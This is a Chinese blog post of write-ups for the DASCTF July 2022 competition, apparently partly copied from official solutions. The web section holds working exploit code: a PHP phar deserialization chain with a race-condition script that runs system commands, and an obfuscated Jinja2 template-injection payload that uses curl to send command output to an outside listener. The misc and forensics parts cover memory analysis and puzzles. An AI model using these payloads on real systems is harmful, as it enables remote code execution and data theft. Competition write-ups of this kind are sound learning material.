当前位置:网站首页>DASCTF部分复现
DASCTF部分复现
2022-08-08 16:10:00 【Msaerati】
DASCTF|2022DASCTF7月赋能赛官方Write Up
WEB
Ez to getflag
非预期直接/flag

预期
打开页面发现页面有读取和上传功能,读取页面可以直接获取源码,把源码扒下来
代码审计,先看到实现文件读取功能的代码,class.php中的Show类的show方法
public function show(){
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}
}这里的过滤没有过滤phar协议,配合文件上传的功能可以进行phar文件反序列化,又看到Show类里还有个backdoor方法,可以进行文件包含,基本确定最终是要调用这个方法
public function backdoor($door){
include($door);
echo "hacked!!";
}
审计实现文件上传功能的代码,class.php中的Upload类为文件上传的实现
class Upload {
public $f;
public $fname;
public $fsize;
function __construct(){
$this->f = $_FILES;
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
function uploadfile() {
if($this->file_check()) {
$this->savefile();
}
}
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
}看到文件上传之后在存储到upload目录之前调用file_check进行了过滤,文件后缀限制为png,并且对文件内容进行了检查,不允许以下内容出现
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';方式压缩后依然可以使用phar协议进行解析的特性,传一个压缩过后的phar文件进去
file_check执行完后才又调用了savefile,把文件存储在upload目录并更名为原文件名的md5值
构造pop链
<?php
class Upload{
public $fname;
public $fsize;
}
class Show{
public $source;
}
class Test{
public $str;
}
$upload = new Upload();
$show = new Show();
$test = new Test();
$test->str = $upload;
$upload->fname=$show;
$upload->fsize='/tmp/sess_chaaa';
// $test->str = 'okkkk';
@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>压缩为gzip压缩包并改后缀名上传该phar文件 利用php的session上传进度以及文件上传的条件竞争进行文件包含 编写python脚本进行文件包含,脚本如下
import sys,threading,requests,re
from hashlib import md5
HOST = sys.argv[1]
PORT = sys.argv[2]
flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):
global check,flag
while check:
fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'
params = {
'f': 'phar://upload/'+fname
}
res = s.get(url=fileurl, params=params)
if "working" in res.text:
flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]
check = False
# 利用session.upload.progress写入临时文件
def sess_upload(url,s):
global check
while check:
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"
}
cookies={
'PHPSESSID': 'chaaa'
}
files={
'file': ('chaaa.png', b'cha'*300)
}
s.post(url=url,data=data,cookies=cookies,files=files)
def exp(ip, port):
url = "http://"+ip+":"+port+"/"
fileurl = url+'file.php'
uploadurl = url+'upload.php'
num = threading.active_count()
# 上传phar文件
file = {'file': open('./shell.png', 'rb')}
ret = requests.post(url=uploadurl, files=file)
# 文件上传条件竞争获取flag
event=threading.Event()
s1 = requests.Session()
s2 = requests.Session()
for i in range(1,10):
threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()
for i in range(1,10):
threading.Thread(target=include,args=(fileurl,s2,)).start()
event.set()
while threading.active_count() != num:
pass
if __name__ == '__main__':
exp(HOST, PORT)
print(flag)Harddisk
题目是一个输入框

经测试,存在 SSTI 注入,但是过滤的很严,fuzz一下
}}, {
{, ], [, ], \, , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers过滤了大括号 { {,我们可以用 {%print(......)%} 或 {% if ... %}1{% endif %} 的形式来代替,但是题目还过滤了 print 关键字,所以前者用不了了,只能用 {% if ... %}success{% endif %} 的形式来bypass了。但是这样的话payload执行成功后只会输出中间的"success"而不会输出执行的结果的,所以我们要用外带数据的方法来得到payload执行的结果。
由于还过滤了像 ]、_、request 这类常用的字符和关键字,我们可以用 attr() 配合 unicode 编码的方法绕过,类似如下:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))%}success{%endif%} # {%if("".__class__)%}success{%endif%}
确定了bypass的方法,下面我们就要寻找可以执行命令的类了,这里我们寻找含有 “popen” 方法的类遍历脚本:
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://your-ip:8081/"
payload = {"nickname":'{%if(""|attr("\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(0)|attr("\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f")()|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(' + str(i) + ')|attr("\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")("\\u0070\\u006f\\u0070\\u0065\\u006e"))%}success{%endif%}'}
res = requests.post(url=url, headers=headers, data=payload)
if 'success' in res.text:
print(i)
# 输出: 133找到第133个子类含有 “popen” 方法,然后构造payload执行命令看看根目录里的文件:
{%if("".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl 47.xxx.xxx.72:2333 -d \"`ls /`\"").read())%}success{%endif%} -->>
{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(133)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("curl 47.xxx.xxx.72:2333 -d \"`ls /`\"")|attr("read")())%}success{%endif%} -->> # unicode 编码:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%} # curl 47.xxx.xxx.72:2333 -d \"`ls /`\"改一ip但我没拦截出来可能服务器被关了,用官方的截图
vps上开启监听:

发送 payload 后,vps上成功接收到了执行结果

读取flag:
{%if("".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl 47.xxx.xxx.72:2333 -d \"`cat /f1agggghere`\"").read())%}success{%endif%} -->>
{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(133)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("curl 47.xxx.xxx.72:2333 -d \"`cat /f1agggghere`\"")|attr("read")())%}success{%endif%} -->> # unicode 编码:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u0063\u0061\u0074\u0020\u002f\u0066\u0031\u0061\u0067\u0067\u0067\u0067\u0068\u0065\u0072\u0065`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%} # curl 47.xxx.xxx.72:2333 -d \"`cat /f1agggghere`\"
MISC
Colorful Strips
放到stegsolve发现有看到杂乱的像素点:说明这些区域必然存在内容,但因为JPEG是有损压缩,其算法导致无法从渲染后的像素RGB颜色中准确还原原始内容。

用脚本处理一下
from turbojpeg import TurboJPEG
from PIL import Image
jpeg = TurboJPEG()
in_file = open('flag.jpg', 'rb')
buffer_array, plane_sizes = jpeg.decode_to_yuv(in_file.read())
in_file.close()
img = Image.new('RGB', (900, 900))
for y in range(900):
for x in range(900):
i = y * 900 + x
img.putpixel((x, y), (buffer_array[i], buffer_array[i+810000], buffer_array[i+1620000]))
img.save('res.png')
ez_forensics
下载附件得到一个pc.vmdk文件和一个pc.raw文件,一个是磁盘文件一个是内存文件。首先利用FTK挂载一下vmdk文件,得到加密的磁盘

再去看raw文件
volatility -f pc.raw imageinfo 查看镜像信息
volatility -f pc.raw --profile=Win7SP1x64 pstree 查看进程

根据进程里的cmd.exe,cmdscan看看命令行输入了什 么
volatility -f pc.raw --profile=Win7SP1x64 cmdscan

说有一个特殊的截屏,去找截屏
volatility -f pc.raw --profile=Win7SP1x64 screenshot -D ./

可以发现桌面上打开过一个文件,看文件名可知是一个关键文件:thes3cret
尝试filescan一下这个文件
volatility -f pc.raw --profile=Win7SP1x64 filescan | grep thes3cret
然后dumpfiles出来
volatility -f pc.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003eeb4650 -D ./

提取出来发现是一个文本文件看着像base64解密一下

解密后发现是salted开头,应该是aes,再去pc.raw找key,先用disgenius挂载,发现有bitlocker加密

再用ftk挂载

用EFDD解密

这个是.raw文件,解密成功得到key

用diskgenius解密

得到两个文件flag.txt里没有东西,看zip里的东西,有一个png文件,发现里面有zip将它提出来

发现有密码还有一段注释,说在电脑用户登录密码

再去pc.raw找密码
volatility -f pc.raw --profile=Win7SP1x64 mimikatz

得到密码解开压缩包得到一串8进制转换一下

key就是我们的aes的key解密得到flag

听说你是个侦探
直接文件名异或
hex1 = "7955d0e35c55b93c6aac27879130ae894d30b9180b0579bb0a4339d543aa6b"
hex2 = "1826b3973a2ec0531fd246f5f41defa42e51cb7d6d7015e45a2656a52fcf16"
a = bytes.fromhex(hex1)
b = bytes.fromhex(hex2)
print(bytes([i ^ j for i,j in zip(a,b)]))
#asctf{you~are-A-careful_People}
哆来咪发唆拉西哆
得到一个音谱,看不懂,binwalk一下

得到一串数字看不懂

继续查看pdf本身,发现有关键字

因为whatisthis里头的数字,有的很大,我们尝试生成一个小数点长度在10000的圆周率出来,看看能得到什么,圆周率生成的脚本用的是下面这个网址的大佬的脚本
【python圆周率计算】python计算圆周率π的值到任意位_东华果汁哥的博客-CSDN博客_python圆周率代码
拿星爷的脚本
# -*- coding: utf-8 -*-
from __future__ import division
from array import array
from tqdm import tqdm
import time
# 圆周率生成脚本来自 https://blog.csdn.net/u013421629/article/details/72640062
def makepi(number):
time1=time.time()
################算法根据马青公式计算圆周率####################
# number = int(raw_input('请输入想要计算到小数点后的位数n:'))
# number=10000+30
# 多计算10位,防止尾数取舍的影响
number1 = number+10
# 算到小数点后number1位
b = 10**number1
# 求含4/5的首项
x1 = b*4//5
# 求含1/239的首项
x2 = b// -239
# 求第一大项
he = x1+x2
#设置下面循环的终点,即共计算n项
number *= 2
#循环初值=3,末值2n,步长=2
for i in tqdm(range(3,number,2)):
# 求每个含1/5的项及符号
x1 //= -25
# 求每个含1/239的项及符号
x2 //= -57121
# 求两项之和
x = (x1+x2) // i
# 求总和
he += x
# 求出π
pai = he*4
#舍掉后十位
pai //= 10**10
############ 输出圆周率π的值
paistring=str(pai)
result=paistring[0]+str('.')+paistring[1:len(paistring)]
# print (result)
# flag=result[-30:]
# print('flag is DASCTF{
{
{}}}'.format(flag))
# open('pi.txt','w').write(result)
return result
# makepi(10000)
# 比较每组中相同的数,输出
def diff(array:list,x:int):
equals = ""
array = list(map(int,array))
for i in range(x):
if ( (pi[array[0]:array[0]+i+1] == pi[array[1]:array[1]+i+1]) & (pi[array[0]:array[0]+i+1] == pi[array[2]:array[2]+i+1]) & (pi[array[0]:array[0]+i+1] == pi[array[3]:array[3]+i+1])) :
equals += (pi[array[0]:array[0]+i+1])
else:
return equals[len(equals)//2:]
if __name__ == "__main__":
from Crypto.Util.number import long_to_bytes
# 获取pi前1万位
pi = makepi(10000)
# 把what is this中的数据按行读取
arrays=[]
with open('whatisthis.txt','r') as f:
for line in f:
arrays.append(list(line.replace(' ','')[1:-2].strip('\n').split(',')))
# 将结果保存为图片
f_jpg = open("flag.jpg",'wb')
for i in tqdm(arrays):
f_jpg.write(long_to_bytes(int(diff(i,10),10)))
f_jpg.close()得到一张图

可以知道flag是圆周率小数点后10000到10030位数字
p1=pi.makepi(10000+30) #根据提示,flag是pi的一万位后的30位
flag='DASCTF{
{
{}}}'.format(p1[-30:])
print(flag)DASCTF{566722796619885782794848855834}边栏推荐
- Understanding of redis slice cluster
- [Online interviewer] How to achieve deduplication and idempotency
- UTF-8 BOM文件导致配置文件无法读取
- web automation headless mode
- 垃圾账号不胜其烦,设备指纹快速发现
- 抓住时代趋势,网赚新逻辑:平台+个人模式超清晰解读(附产品评测)
- Jingdong T9 pure hand type 688 pages of god notes, SSM framework integrates Redis to build efficient Internet applications
- 【MATLAB项目实战】基于Morlet小波变换的滚动轴承故障特征提取研究
- redis设计与实现 笔记(一)
- 我分析30w条数据后发现,西安新房公摊最低的竟是这里?
猜你喜欢
![[Unity entry plan] Use the double blood bar method to control the blood loss speed of the damage area](/img/d3/13bff820963988678f3a3361abc3aa.png)
[Unity entry plan] Use the double blood bar method to control the blood loss speed of the damage area

NFT质押挖矿分红系统开发逻辑功能介绍

redis的详细介绍与操作命令

微信公众号+web后台的工资条发放功能的实现

C#/VB.NET convert PDF to PDF/X-1a:2001

jupyter notebook 隐藏&显示全部输出内容

ERROR Failed to compile with 1 error

egg(二十):fs读取本地的txt文件

Dry goods: design high concurrency architecture from scratch

【愚公系列】华为云云数据库MySQL的体验流程|【华为云至简致远】
随机推荐
spark集群环境搭建
手把手教你uniapp接入聊天IM即时通讯功能-源码分享
目前安全靠谱的国内期货开户流程?
bzoj2816 [ZJOI2012] Network
全网首发!消息中间件神仙笔记,涵盖阿里十年技术精髓
C语言学习概览(六)
论文解读(soft-mask GNN)《Soft-mask: Adaptive Substructure Extractions for Graph Neural Networks》
FreeRTOS知识小结
Patience sorting - specializing in quickly solving the longest increasing subarray
First online!Messaging middleware fairy notes, covering the essence of Alibaba's ten years of technology
Streamsets Data Collector 3.12
GPT3中文自动生成小说「谷歌小发猫写作」
非常菜的一个批量布置waf脚本
sql合并连续时间段内,某字段相同的行。
leetcode 155. Min Stack最小栈(中等)
Introduction to Power BI
Superset 1.2.0 installation
C#/VB.NET 将PDF转为PDF/X-1a:2001
文档管理系统:攻克这3个痛点,解决80%企业文档管理难题
手机注册股票开户的流程?网上开户安全?